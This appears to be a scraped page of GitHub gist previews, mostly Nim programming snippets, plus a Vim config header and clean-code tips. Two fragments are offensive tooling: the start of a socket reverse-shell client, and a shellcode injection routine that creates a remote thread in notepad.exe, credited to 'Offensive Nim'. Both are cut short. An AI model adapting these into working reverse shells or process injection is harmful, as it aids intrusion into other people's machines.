nim c --cc:clang --mm:orc --panics:on --threads:on --tlsEmulation:off -l:"-fuse-ld=mold" %f
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#cc = clang | |
--experimental:strictEffects | |
--experimental:strictFuncs | |
--experimental:strictDefs | |
--experimental:unicodeOperators | |
--experimental:overloadableEnums | |
--define:nimPreviewCstringConversion | |
--define:nimPreviewFloatRoundtrip | |
--define:nimStrictDelete | |
--define:nimUseLinenoise |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type | |
CanDance = concept x | |
dance(x) # `x` is anything that has a `dance` procedure | |
proc doBallet(dancer: CanDance) = | |
# `dancer` can be anything that `CanDance` | |
dance(dancer) | |
# --- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threadpool, tables, strutils | |
const | |
filesArray = ["data1.txt", "data2.txt", "data3.txt"] | |
proc countWords2(filename: string): CountTableRef[string] = | |
result = newCountTable[string]() | |
for word in readFile(filename).splitWhitespace(): | |
result.inc word |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"***************************************************************************** | |
"" Vim-PLug core | |
"***************************************************************************** | |
if has('vim_starting') | |
set nocompatible " Be iMproved | |
endif | |
let vimplug_exists=expand('~/.config/nvim/autoload/plug.vim') | |
let g:vim_bootstrap_langs = "javascript,php,python,ruby" |
Note 1: This tutorial is for Linux users only, but if you understand the idea, you can use it on all systems and it will work as required :).
- Compile Nim-lang code as a (C/C++ header File). THIS IS WHAT WE WILL TAKE TODAY.
- Compile Nim-lang code as a (C/C++ static library).
- Compile Nim-lang code as a (C/C++ dynamic library).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import net | |
import osproc | |
import strformat | |
# Create Socket | |
let port = 9999 | |
let address = "127.0.0.1" | |
let sock = newSocket() | |
# Connect to listener |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# With special thanks to byt3bl33d3r for Offensive Nim! | |
import winim/lean | |
import osproc | |
import base64 | |
import sequtils | |
import strutils | |
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = | |
let tProcess = startProcess("notepad.exe") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import net | |
let socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) | |
socket.setSockOpt(OptReuseAddr, true) | |
socket.setSockOpt(OptReusePort, true) | |
socket.setSockOpt(OptBroadcast, true) | |
socket.sendTo("255.255.255.255", Port(12346), $0b10) | |
var | |
receivedFrom = "" |
Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.
- Follow standard conventions.
- Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
- Boy scout rule. Leave the campground cleaner than you found it.
- Always find root cause. Always look for the root cause of a problem.
NewerOlder